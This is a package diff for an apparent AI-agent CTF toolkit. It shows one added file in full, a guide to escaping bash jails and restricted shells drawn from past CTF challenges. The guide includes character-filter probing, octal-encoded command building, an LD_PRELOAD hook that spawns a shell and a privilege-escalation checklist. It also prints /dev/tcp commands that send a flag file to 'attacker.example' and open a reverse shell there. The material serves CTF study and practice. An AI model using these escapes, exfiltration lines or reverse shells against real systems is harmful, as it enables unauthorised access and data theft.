ctf-agent 1.2.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/AGENTS.md +131 -0
- package/Dockerfile +192 -0
- package/README.md +522 -0
- package/agents/ctf-analyzer.md +58 -0
- package/agents/ctf-controller.md +151 -0
- package/agents/ctf-speedrun.md +74 -0
- package/bin/ctf-agent.js +119 -0
- package/docker-compose.yml +13 -0
- package/mcp_config.json +19 -0
- package/package.json +44 -0
- package/references/ctf-triage-ladder.md +68 -0
- package/references/exploit-databases.md +575 -0
- package/references/llm-safety-and-policy-compliance.md +173 -0
- package/references/multi-agent-orchestration-and-policy-routing.md +278 -0
- package/references/security-events-and-intelligence.md +566 -0
- package/references/version-matrix.md +59 -0
- package/rules/ctf-execution-rules.md +44 -0
- package/rules/ctf-safety-framing-rules.md +140 -0
- package/rules/flag-validation-rules.md +25 -0
- package/scripts/__init__.py +1 -0
- package/scripts/ctf-tools.lock +205 -0
- package/scripts/ctf_init.py +1026 -0
- package/scripts/ctf_update.py +583 -0
- package/scripts/ctfd_client.py +81 -0
- package/scripts/cve_lookup.py +453 -0
- package/scripts/extract_flags.py +155 -0
- package/scripts/install_as_agent.py +278 -0
- package/scripts/install_ctf_tools.sh +603 -0
- package/scripts/parallel_triage.py +395 -0
- package/scripts/prompt_policy_sanitizer.py +283 -0
- package/scripts/scope_guard.py +444 -0
- package/scripts/skill_validator.py +504 -0
- package/scripts/workspace_cleaner.py +141 -0
- package/skills/ctf-ai-ml/SKILL.md +120 -0
- package/skills/ctf-ai-ml/adversarial-ml.md +623 -0
- package/skills/ctf-ai-ml/llm-attacks.md +487 -0
- package/skills/ctf-ai-ml/model-attacks.md +422 -0
- package/skills/ctf-crypto/SKILL.md +320 -0
- package/skills/ctf-crypto/advanced-math.md +798 -0
- package/skills/ctf-crypto/classic-ciphers.md +651 -0
- package/skills/ctf-crypto/ecc-attacks.md +347 -0
- package/skills/ctf-crypto/exotic-crypto-2.md +380 -0
- package/skills/ctf-crypto/exotic-crypto.md +528 -0
- package/skills/ctf-crypto/historical.md +113 -0
- package/skills/ctf-crypto/lattice-and-lwe.md +524 -0
- package/skills/ctf-crypto/modern-ciphers-2.md +563 -0
- package/skills/ctf-crypto/modern-ciphers-3.md +453 -0
- package/skills/ctf-crypto/modern-ciphers.md +649 -0
- package/skills/ctf-crypto/prng-attacks.md +257 -0
- package/skills/ctf-crypto/prng.md +664 -0
- package/skills/ctf-crypto/rsa-attacks-2.md +792 -0
- package/skills/ctf-crypto/rsa-attacks.md +487 -0
- package/skills/ctf-crypto/stream-ciphers.md +390 -0
- package/skills/ctf-crypto/zkp-and-advanced.md +456 -0
- package/skills/ctf-forensics/3d-printing.md +121 -0
- package/skills/ctf-forensics/SKILL.md +379 -0
- package/skills/ctf-forensics/disk-advanced.md +497 -0
- package/skills/ctf-forensics/disk-and-memory.md +491 -0
- package/skills/ctf-forensics/disk-recovery.md +699 -0
- package/skills/ctf-forensics/linux-forensics.md +511 -0
- package/skills/ctf-forensics/network-advanced.md +583 -0
- package/skills/ctf-forensics/network.md +645 -0
- package/skills/ctf-forensics/peripheral-capture.md +287 -0
- package/skills/ctf-forensics/signals-and-hardware.md +713 -0
- package/skills/ctf-forensics/steganography.md +694 -0
- package/skills/ctf-forensics/stego-advanced-2.md +475 -0
- package/skills/ctf-forensics/stego-advanced.md +481 -0
- package/skills/ctf-forensics/stego-image.md +691 -0
- package/skills/ctf-forensics/windows.md +625 -0
- package/skills/ctf-malware/SKILL.md +181 -0
- package/skills/ctf-malware/c2-and-protocols.md +274 -0
- package/skills/ctf-malware/pe-and-dotnet.md +108 -0
- package/skills/ctf-malware/scripts-and-obfuscation.md +449 -0
- package/skills/ctf-misc/SKILL.md +498 -0
- package/skills/ctf-misc/bashjails.md +323 -0
- package/skills/ctf-misc/ctfd-navigation.md +465 -0
- package/skills/ctf-misc/dns.md +255 -0
- package/skills/ctf-misc/encodings-advanced.md +504 -0
- package/skills/ctf-misc/encodings.md +431 -0
- package/skills/ctf-misc/games-and-vms-2.md +254 -0
- package/skills/ctf-misc/games-and-vms-3.md +690 -0
- package/skills/ctf-misc/games-and-vms-4.md +229 -0
- package/skills/ctf-misc/games-and-vms.md +529 -0
- package/skills/ctf-misc/linux-privesc.md +333 -0
- package/skills/ctf-misc/pyjails.md +671 -0
- package/skills/ctf-misc/rf-sdr.md +91 -0
- package/skills/ctf-osint/SKILL.md +198 -0
- package/skills/ctf-osint/geolocation-and-media.md +464 -0
- package/skills/ctf-osint/social-media.md +312 -0
- package/skills/ctf-osint/web-and-dns.md +341 -0
- package/skills/ctf-pwn/SKILL.md +214 -0
- package/skills/ctf-pwn/advanced-exploits-2.md +579 -0
- package/skills/ctf-pwn/advanced-exploits-3.md +598 -0
- package/skills/ctf-pwn/advanced-exploits-4.md +590 -0
- package/skills/ctf-pwn/advanced-exploits-5.md +119 -0
- package/skills/ctf-pwn/advanced-exploits.md +773 -0
- package/skills/ctf-pwn/advanced.md +326 -0
- package/skills/ctf-pwn/field-notes.md +245 -0
- package/skills/ctf-pwn/format-string.md +694 -0
- package/skills/ctf-pwn/heap-fsop.md +285 -0
- package/skills/ctf-pwn/heap-techniques-2.md +333 -0
- package/skills/ctf-pwn/heap-techniques.md +513 -0
- package/skills/ctf-pwn/kernel-bypass.md +421 -0
- package/skills/ctf-pwn/kernel-techniques.md +366 -0
- package/skills/ctf-pwn/kernel.md +636 -0
- package/skills/ctf-pwn/overflow-basics.md +611 -0
- package/skills/ctf-pwn/rop-advanced.md +725 -0
- package/skills/ctf-pwn/rop-and-shellcode.md +659 -0
- package/skills/ctf-pwn/sandbox-escape.md +313 -0
- package/skills/ctf-reverse/SKILL.md +163 -0
- package/skills/ctf-reverse/anti-analysis-ctf.md +204 -0
- package/skills/ctf-reverse/anti-analysis.md +693 -0
- package/skills/ctf-reverse/field-notes.md +376 -0
- package/skills/ctf-reverse/languages-compiled.md +666 -0
- package/skills/ctf-reverse/languages-platforms.md +592 -0
- package/skills/ctf-reverse/languages.md +553 -0
- package/skills/ctf-reverse/patterns-ctf-2.md +397 -0
- package/skills/ctf-reverse/patterns-ctf-3.md +797 -0
- package/skills/ctf-reverse/patterns-ctf.md +670 -0
- package/skills/ctf-reverse/patterns-runtime.md +274 -0
- package/skills/ctf-reverse/patterns.md +572 -0
- package/skills/ctf-reverse/platforms-hardware.md +387 -0
- package/skills/ctf-reverse/platforms.md +664 -0
- package/skills/ctf-reverse/tools-advanced-2.md +421 -0
- package/skills/ctf-reverse/tools-advanced.md +407 -0
- package/skills/ctf-reverse/tools-dynamic.md +679 -0
- package/skills/ctf-reverse/tools-emulation.md +319 -0
- package/skills/ctf-reverse/tools.md +573 -0
- package/skills/ctf-web/SKILL.md +153 -0
- package/skills/ctf-web/auth-and-access-2.md +82 -0
- package/skills/ctf-web/auth-and-access.md +783 -0
- package/skills/ctf-web/auth-infra.md +321 -0
- package/skills/ctf-web/auth-jwt.md +186 -0
- package/skills/ctf-web/client-side-advanced.md +739 -0
- package/skills/ctf-web/client-side.md +529 -0
- package/skills/ctf-web/cves.md +373 -0
- package/skills/ctf-web/field-notes.md +482 -0
- package/skills/ctf-web/node-and-prototype.md +200 -0
- package/skills/ctf-web/server-side-2.md +337 -0
- package/skills/ctf-web/server-side-advanced-2.md +559 -0
- package/skills/ctf-web/server-side-advanced-3.md +125 -0
- package/skills/ctf-web/server-side-advanced-4.md +480 -0
- package/skills/ctf-web/server-side-advanced.md +378 -0
- package/skills/ctf-web/server-side-deser.md +443 -0
- package/skills/ctf-web/server-side-exec-2.md +799 -0
- package/skills/ctf-web/server-side-exec.md +457 -0
- package/skills/ctf-web/server-side.md +629 -0
- package/skills/ctf-web/sql-injection.md +790 -0
- package/skills/ctf-web/web3.md +374 -0
- package/skills/ctf-writeup/SKILL.md +90 -0
- package/skills/solve-challenge/SKILL.md +269 -0
- package/skills.json +16 -0
|
@@ -0,0 +1,323 @@
|
|
|
1
|
+
# CTF Misc - Bash Jails & Restricted Shells
|
|
2
|
+
|
|
3
|
+
## Table of Contents
|
|
4
|
+
- [Identifying the Jail](#identifying-the-jail)
|
|
5
|
+
- [Eval Context Detection](#eval-context-detection)
|
|
6
|
+
- [Character-Restricted Bash: Only #, $, \](#character-restricted-bash-only---)
|
|
7
|
+
- [Internal Service Discovery (Post-Shell)](#internal-service-discovery-post-shell)
|
|
8
|
+
- [Other Restricted Character Set Tricks](#other-restricted-character-set-tricks)
|
|
9
|
+
- [Building numbers from $# and ${##}](#building-numbers-from--and-)
|
|
10
|
+
- [Using PID digits](#using-pid-digits)
|
|
11
|
+
- [Octal in ANSI-C quoting](#octal-in-ansi-c-quoting)
|
|
12
|
+
- [Dollar-zero variants](#dollar-zero-variants)
|
|
13
|
+
- [Privilege Escalation Checklist (Post-Shell)](#privilege-escalation-checklist-post-shell)
|
|
14
|
+
- [HISTFILE Trick for Restricted Shell File Reads (BCTF 2016)](#histfile-trick-for-restricted-shell-file-reads-bctf-2016)
|
|
15
|
+
- [Bash Jail Bypass via $'...' Octal Encoding (34C3 CTF 2017)](#bash-jail-bypass-via--octal-encoding-34c3-ctf-2017)
|
|
16
|
+
- [LD_PRELOAD Hook via rbash-Allowed Variable Set (OTW Advent 2018)](#ld_preload-hook-via-rbash-allowed-variable-set-otw-advent-2018)
|
|
17
|
+
- [/dev/tcp Exfiltration from Minimal Command Set (OTW Advent 2018)](#devtcp-exfiltration-from-minimal-command-set-otw-advent-2018)
|
|
18
|
+
- [Layer-by-Layer Echo-Only Bash Escape (Insomnihack 2019)](#layer-by-layer-echo-only-bash-escape-insomnihack-2019)
|
|
19
|
+
- [Closed-Stdout Jail with \r Truncation (Insomnihack 2019)](#closed-stdout-jail-with-r-truncation-insomnihack-2019)
|
|
20
|
+
- [References](#references)
|
|
21
|
+
|
|
22
|
+
---
|
|
23
|
+
|
|
24
|
+
## Identifying the Jail
|
|
25
|
+
|
|
26
|
+
**Methodology:** Send test inputs and observe error messages to determine:
|
|
27
|
+
1. What characters are allowed (whitelist vs blacklist)
|
|
28
|
+
2. Whether input is `eval`'d, passed to `bash -c`, or something else
|
|
29
|
+
3. Whether input is wrapped in quotes (double-quoted eval context)
|
|
30
|
+
|
|
31
|
+
**Test for character filtering:**
|
|
32
|
+
```python
|
|
33
|
+
from pwn import *
|
|
34
|
+
import time
|
|
35
|
+
|
|
36
|
+
# Send each char combined with a known-good payload
|
|
37
|
+
for c in range(32, 127):
|
|
38
|
+
r = remote(host, port, level='error')
|
|
39
|
+
r.sendline(b'$#' + bytes([c]) + b'$#')
|
|
40
|
+
time.sleep(0.3)
|
|
41
|
+
try:
|
|
42
|
+
data = r.recv(timeout=1)
|
|
43
|
+
if data:
|
|
44
|
+
print(f'{chr(c)!r}: {data.decode().strip()[:60]}')
|
|
45
|
+
except:
|
|
46
|
+
pass
|
|
47
|
+
r.close()
|
|
48
|
+
```
|
|
49
|
+
|
|
50
|
+
**Silent rejection = character not allowed.** Error output = character passed the filter.
|
|
51
|
+
|
|
52
|
+
**Key insight:** Systematically probe each printable character to map the allowed set before crafting payloads. Silent rejection means the character is filtered; any error output means it passed the filter and reached the shell.
|
|
53
|
+
|
|
54
|
+
---
|
|
55
|
+
|
|
56
|
+
## Eval Context Detection
|
|
57
|
+
|
|
58
|
+
**Double-quoted eval** (`eval "$input"`):
|
|
59
|
+
- Trailing `\` causes: `unexpected EOF while looking for matching '"'`
|
|
60
|
+
- `$#` expands to `0` (inside double-quotes, `$` still expands)
|
|
61
|
+
- `\$` gives literal `$` (backslash escapes dollar in double-quotes)
|
|
62
|
+
- `\#` gives `\#` literally (backslash doesn't escape `#` in double-quotes, but eval then interprets `\#` as literal `#`)
|
|
63
|
+
|
|
64
|
+
**Bare eval** (`eval $input`):
|
|
65
|
+
- Word splitting applies
|
|
66
|
+
- Backslash escapes work differently
|
|
67
|
+
|
|
68
|
+
**Read behavior:**
|
|
69
|
+
- `read -r`: backslashes preserved literally
|
|
70
|
+
- `read` (without -r): backslash is escape character (strips backslashes)
|
|
71
|
+
|
|
72
|
+
**Key insight:** Distinguish between `eval "$input"` (double-quoted) and `eval $input` (bare) by sending a trailing backslash. Double-quoted eval produces an "unexpected EOF" error because the backslash escapes the closing quote; bare eval does not. This determines which escape sequences are available for exploitation.
|
|
73
|
+
|
|
74
|
+
---
|
|
75
|
+
|
|
76
|
+
## Character-Restricted Bash: Only `#`, `$`, `\`
|
|
77
|
+
|
|
78
|
+
**Pattern (HashCashSlash):** Filter regex `^[\\#\$]+$` allows only hash, dollar, backslash.
|
|
79
|
+
|
|
80
|
+
**Available expansions:**
|
|
81
|
+
| Construct | Result | Notes |
|
|
82
|
+
|-----------|--------|-------|
|
|
83
|
+
| `$#` | `0` | Number of positional parameters |
|
|
84
|
+
| `$$` | PID | Current process ID (multi-digit number) |
|
|
85
|
+
| `\$` | literal `$` | In double-quoted eval context |
|
|
86
|
+
| `\\` | literal `\` | In double-quoted eval context |
|
|
87
|
+
| `\#` | literal `#` | Via eval's second-pass interpretation |
|
|
88
|
+
|
|
89
|
+
**Key payload: `\$$#`**
|
|
90
|
+
|
|
91
|
+
In a double-quoted eval context like `bash -c "\"${x}\""`:
|
|
92
|
+
- `\$` → literal `$` (backslash escapes dollar in double-quotes)
|
|
93
|
+
- `$#` → `0` (parameter expansion)
|
|
94
|
+
- Combined: `$0` in the eval context
|
|
95
|
+
- `$0` = the shell name = `bash`
|
|
96
|
+
- Result: **spawns an interactive bash shell**
|
|
97
|
+
|
|
98
|
+
**Why it works:** The script wraps input in double quotes for `bash -c`, so `\$` becomes a literal `$`, then `$#` expands to `0`, giving the string `$0`. When eval executes this, `$0` expands to the shell invocation name (`bash`), spawning a new shell.
|
|
99
|
+
|
|
100
|
+
---
|
|
101
|
+
|
|
102
|
+
## Internal Service Discovery (Post-Shell)
|
|
103
|
+
|
|
104
|
+
After escaping the jail, the flag may not be directly readable. Check for internal services:
|
|
105
|
+
|
|
106
|
+
```bash
|
|
107
|
+
# Find all running processes and their command lines
|
|
108
|
+
cat /proc/*/cmdline 2>/dev/null | tr '\0' ' '
|
|
109
|
+
|
|
110
|
+
# Look specifically for flag-serving processes
|
|
111
|
+
for pid in /proc/[0-9]*/; do
|
|
112
|
+
cmd=$(cat ${pid}cmdline 2>/dev/null | tr '\0' ' ')
|
|
113
|
+
if echo "$cmd" | grep -qi flag; then
|
|
114
|
+
echo "PID $(basename $pid): $cmd"
|
|
115
|
+
cat ${pid}status 2>/dev/null | grep -E "^(Uid|Name):"
|
|
116
|
+
fi
|
|
117
|
+
done
|
|
118
|
+
```
|
|
119
|
+
|
|
120
|
+
**Common patterns:**
|
|
121
|
+
- `socat TCP-LISTEN:PORT,bind=127.0.0.1 EXEC:cat /flag` → flag on localhost port
|
|
122
|
+
- `readflag` binary with SUID bit
|
|
123
|
+
- Flag in environment of root process
|
|
124
|
+
|
|
125
|
+
**Connect to internal services:**
|
|
126
|
+
```bash
|
|
127
|
+
# Bash built-in TCP (no netcat needed)
|
|
128
|
+
cat < /dev/tcp/127.0.0.1/PORT
|
|
129
|
+
|
|
130
|
+
# Or with netcat if available
|
|
131
|
+
nc 127.0.0.1 PORT
|
|
132
|
+
```
|
|
133
|
+
|
|
134
|
+
**Key insight:** After escaping the jail, check `/proc/*/cmdline` for internal services serving the flag on localhost. The flag is often on a different process, not readable from the filesystem directly.
|
|
135
|
+
|
|
136
|
+
---
|
|
137
|
+
|
|
138
|
+
## Other Restricted Character Set Tricks
|
|
139
|
+
|
|
140
|
+
### Building numbers from `$#` and `${##}`
|
|
141
|
+
If `{` and `}` are allowed:
|
|
142
|
+
- `$#` = 0
|
|
143
|
+
- `${##}` = 1 (length of `$#`'s string value "0")
|
|
144
|
+
- Concatenate to build binary: `${##}$#${##}` = "101"
|
|
145
|
+
|
|
146
|
+
### Using PID digits
|
|
147
|
+
`$$` gives a multi-digit number. If you can extract individual digits (requires `{}` and `:`):
|
|
148
|
+
```bash
|
|
149
|
+
${$$:0:1} # First digit of PID
|
|
150
|
+
${$$:1:1} # Second digit of PID
|
|
151
|
+
```
|
|
152
|
+
|
|
153
|
+
### Octal in ANSI-C quoting
|
|
154
|
+
If `'` is available: `$'\101'` = `A`, `$'\142\141\163\150'` = `bash`
|
|
155
|
+
|
|
156
|
+
### Dollar-zero variants
|
|
157
|
+
| Shell | `$0` value |
|
|
158
|
+
|-------|-----------|
|
|
159
|
+
| bash script | script path |
|
|
160
|
+
| bash -c | `bash` |
|
|
161
|
+
| interactive | `bash` or `-bash` |
|
|
162
|
+
| sh | `sh` |
|
|
163
|
+
|
|
164
|
+
**Key insight:** Build arbitrary strings from minimal character sets by combining `$#` (yields 0), `${##}` (yields 1), `$$` (PID digits), and ANSI-C quoting (`$'\NNN'` for octal). Even a 3-character alphabet (`#$\`) is sufficient to spawn a shell via `$0` expansion.
|
|
165
|
+
|
|
166
|
+
---
|
|
167
|
+
|
|
168
|
+
## Privilege Escalation Checklist (Post-Shell)
|
|
169
|
+
|
|
170
|
+
1. **SUID binaries:** `find / -perm -4000 2>/dev/null`
|
|
171
|
+
2. **Capabilities:** `find / -executable -type f -exec getcap {} \; 2>/dev/null`
|
|
172
|
+
3. **Internal services:** Check `/proc/*/cmdline` for flag-serving daemons
|
|
173
|
+
4. **Process UIDs:** `cat /proc/*/status 2>/dev/null | grep -A5 "^Name:.*flag"`
|
|
174
|
+
5. **Writable paths:** Check if PATH contains writable dirs
|
|
175
|
+
6. **Docker/container:** `/dev/tcp` for internal service access, `/.dockerenv` presence
|
|
176
|
+
|
|
177
|
+
**Key insight:** After escaping the jail, run through this checklist in order: SUID binaries and capabilities first (quickest wins), then internal services via `/proc/*/cmdline`, then writable PATH directories. In containers, use `/dev/tcp` for internal service access since netcat is rarely available.
|
|
178
|
+
|
|
179
|
+
---
|
|
180
|
+
|
|
181
|
+
## HISTFILE Trick for Restricted Shell File Reads (BCTF 2016)
|
|
182
|
+
|
|
183
|
+
Read arbitrary files in restricted bash shells without cat/less/head:
|
|
184
|
+
|
|
185
|
+
```bash
|
|
186
|
+
# Method 1: HISTFILE loading
|
|
187
|
+
HISTFILE=/path/to/flag /bin/bash
|
|
188
|
+
history # Flag contents loaded as command history
|
|
189
|
+
|
|
190
|
+
# Method 2: bash verbose mode
|
|
191
|
+
bash -v flag.txt # Prints each line before executing; comments (#flag{...}) print without error
|
|
192
|
+
|
|
193
|
+
# Method 3: ctypes.sh direct C library calls
|
|
194
|
+
dlcall -n fd open /flag 0
|
|
195
|
+
dlcall -n m mmap 0 100 1 1 $fd 0
|
|
196
|
+
dlcall printf %s $m
|
|
197
|
+
```
|
|
198
|
+
|
|
199
|
+
**Key insight:** Three ways to read files without standard utilities: (1) HISTFILE loading, (2) `bash -v` verbose mode, (3) `ctypes.sh` direct C library calls via `dlcall`.
|
|
200
|
+
|
|
201
|
+
---
|
|
202
|
+
|
|
203
|
+
## Bash Jail Bypass via $'...' Octal Encoding (34C3 CTF 2017)
|
|
204
|
+
|
|
205
|
+
When a-z, `*`, `?`, `.` are banned, use `$'...'` ANSI-C quoting with octal escapes:
|
|
206
|
+
|
|
207
|
+
```bash
|
|
208
|
+
# Encode /get_flag as octal
|
|
209
|
+
__=$'\057\147\145\164\137\146\154\141\147'
|
|
210
|
+
$__ # executes /get_flag
|
|
211
|
+
|
|
212
|
+
# Or encode any command character by character:
|
|
213
|
+
# /bin/sh = $'\057\142\151\156\057\163\150'
|
|
214
|
+
```
|
|
215
|
+
|
|
216
|
+
Also: extract characters from existing environment variables:
|
|
217
|
+
|
|
218
|
+
```bash
|
|
219
|
+
# ${VARIABLE:START:LENGTH} extracts substrings
|
|
220
|
+
# Build command from $PATH, $HOME, $OSTYPE, $HOSTNAME:
|
|
221
|
+
/${OSTYPE:6:1}${HOSTNAME:2:1}${HOME:1:1}_${HOSTNAME:9:1}${PATH:5:1}...
|
|
222
|
+
```
|
|
223
|
+
|
|
224
|
+
**Key insight:** Bash's `$'...'` syntax interprets `\NNN` as octal byte values, allowing arbitrary string construction without using any alphabetic characters. Combined with environment variable substring extraction (`${VAR:offset:length}`), this bypasses nearly any character blacklist. The `__` variable name uses only underscores (often not blocked). When letters are banned but `$`, `'`, `\`, and digits are allowed, octal encoding in ANSI-C quotes is the primary escape vector.
|
|
225
|
+
|
|
226
|
+
---
|
|
227
|
+
|
|
228
|
+
## LD_PRELOAD Hook via rbash-Allowed Variable Set (OTW Advent 2018)
|
|
229
|
+
|
|
230
|
+
**Pattern:** rbash blocks path arguments but still allows `VAR=value command` prefixes on invocations of permitted binaries. Upload a shared object encoding a libc hook, then export `LD_PRELOAD=./hook.so` before any command in the allowlist (`cat`, `ls`, `id`). The hook runs on every libc symbol call from the allowed binary.
|
|
231
|
+
|
|
232
|
+
```c
|
|
233
|
+
// hook.c — hijacks open()
|
|
234
|
+
#include <stdlib.h>
|
|
235
|
+
__attribute__((constructor))
|
|
236
|
+
void init(void) { system("/bin/bash -p -c 'cat /flag'"); }
|
|
237
|
+
```
|
|
238
|
+
|
|
239
|
+
```bash
|
|
240
|
+
gcc -shared -fPIC hook.c -o /tmp/hook.so
|
|
241
|
+
LD_PRELOAD=/tmp/hook.so cat # constructor runs before cat
|
|
242
|
+
```
|
|
243
|
+
|
|
244
|
+
**Key insight:** Restricted shells enforce argv filtering, not environment filtering. Any allowed binary dynamically linked to libc can be hijacked through `LD_PRELOAD` as long as you can write a `.so` to a writable path. Harden by unsetting `LD_PRELOAD`, `LD_LIBRARY_PATH`, and `LD_AUDIT` on shell entry.
|
|
245
|
+
|
|
246
|
+
**References:** OverTheWire Advent 2018 — Claustrophobic, writeup 12770
|
|
247
|
+
|
|
248
|
+
---
|
|
249
|
+
|
|
250
|
+
## /dev/tcp Exfiltration from Minimal Command Set (OTW Advent 2018)
|
|
251
|
+
|
|
252
|
+
**Pattern:** Only `cat`, `echo`, and `dd` are available — no `curl`, `wget`, `nc`, `python`. Bash exposes `/dev/tcp/<host>/<port>` as a virtual socket file; redirecting to it opens a raw TCP connection without any extra binary.
|
|
253
|
+
|
|
254
|
+
```bash
|
|
255
|
+
cat /opt/flag > /dev/tcp/attacker.example/8081
|
|
256
|
+
# attacker side:
|
|
257
|
+
nc -lvnp 8081
|
|
258
|
+
```
|
|
259
|
+
|
|
260
|
+
Bidirectional shells:
|
|
261
|
+
|
|
262
|
+
```bash
|
|
263
|
+
exec 3<> /dev/tcp/attacker.example/8081
|
|
264
|
+
cat <&3 | bash >&3 2>&3
|
|
265
|
+
```
|
|
266
|
+
|
|
267
|
+
**Key insight:** `/dev/tcp` and `/dev/udp` are *built into bash*, not real filesystem paths — any distribution shipping GNU bash supports them even when `netcat`/`curl` are missing. Always test file redirection before assuming you need an external tool.
|
|
268
|
+
|
|
269
|
+
**References:** OverTheWire Advent 2018 — Santa's little recorders, writeup 12780
|
|
270
|
+
|
|
271
|
+
---
|
|
272
|
+
|
|
273
|
+
## Layer-by-Layer Echo-Only Bash Escape (Insomnihack 2019)
|
|
274
|
+
|
|
275
|
+
**Pattern:** Jail allows only `echo`, `(`, `)`, `+`, `=`, `;`, `\`, `$`, and whitespace. Escape by recursively constructing stronger primitives each round:
|
|
276
|
+
|
|
277
|
+
```bash
|
|
278
|
+
# Round 0: allowed chars → unlimited `=` via $((a = 1))
|
|
279
|
+
# Round 1: arithmetic sets more vars; use $'\NNN' via increment loops
|
|
280
|
+
a=$((++a)) # counters without digits
|
|
281
|
+
# Round N: emit arbitrary payload as octal escapes
|
|
282
|
+
$('\143\141\164' /flag) # cat /flag
|
|
283
|
+
```
|
|
284
|
+
|
|
285
|
+
Build numbers using `++` on uninitialised variables, then index characters out of `$PATH`, `$PWD`, or any leaked variable. Finally concatenate those characters with `\` to form any command.
|
|
286
|
+
|
|
287
|
+
**Key insight:** Echo-only jails are escapable because bash's arithmetic context treats uninitialised variables as `0` and supports `++`, giving you any integer without digits. From there, `$'\NNN'` builds any byte, which builds any command.
|
|
288
|
+
|
|
289
|
+
**References:** Insomnihack teaser 2019 — echoechoechoecho, writeup 12911
|
|
290
|
+
|
|
291
|
+
---
|
|
292
|
+
|
|
293
|
+
## Closed-Stdout Jail with \r Truncation (Insomnihack 2019)
|
|
294
|
+
|
|
295
|
+
**Pattern:** A bash-exec service runs commands but has stdout (and stderr) closed, so normal output silently disappears. Additionally, the target file contains a `\r` early on that naive `cat` renders as "overwrite the line", hiding the flag behind it. Workaround is two-fold: redirect output to a still-open fd (stdin is connected to the network socket, or `/dev/tty`), and use `cat -A` / `od -c` / `xxd` so the carriage return shows as `^M` instead of truncating display.
|
|
296
|
+
|
|
297
|
+
```bash
|
|
298
|
+
# 1. confirm stdout is closed — output never returns
|
|
299
|
+
echo hello # nothing
|
|
300
|
+
echo hello 2>&1 # still nothing (stderr also closed)
|
|
301
|
+
|
|
302
|
+
# 2. redirect to stdin (fd 0), which is the network socket for nc-style services
|
|
303
|
+
cat flag 1>&0
|
|
304
|
+
# returns only the tail after \r because the terminal interprets \r literally
|
|
305
|
+
|
|
306
|
+
# 3. use cat -A (show-all) so CR becomes ^M and the hidden prefix is revealed
|
|
307
|
+
cat -A flag 1>&0
|
|
308
|
+
# or: od -c flag 1>&0 / xxd flag 1>&0 / base64 flag 1>&0
|
|
309
|
+
|
|
310
|
+
# Alternative: reopen a writable stdout
|
|
311
|
+
exec 1>/dev/tty # only works if a tty is attached
|
|
312
|
+
exec 1>&0 # duplicate the socket fd onto stdout for future cmds
|
|
313
|
+
```
|
|
314
|
+
|
|
315
|
+
**Key insight:** "Commands work but produce no output" means stdout is closed — find any still-open fd (stdin to the network socket is always open) and redirect with `1>&0`. Once output flows, beware of display artefacts: `\r` truncates in raw `cat`, ANSI CSI sequences can blank lines, and `\x1b[2J` clears the terminal. Always inspect suspect files with `cat -A`, `od -c`, `xxd`, or `base64` so no byte is lost in translation.
|
|
316
|
+
|
|
317
|
+
**References:** Insomnihack 2019 — myBrokenBash, writeups 13989 and 13990
|
|
318
|
+
|
|
319
|
+
---
|
|
320
|
+
|
|
321
|
+
## References
|
|
322
|
+
|
|
323
|
+
- 0xL4ugh CTF "HashCashSlash": Filter `^[\\#\$]+$`, payload `\$$#`, internal socat flag service
|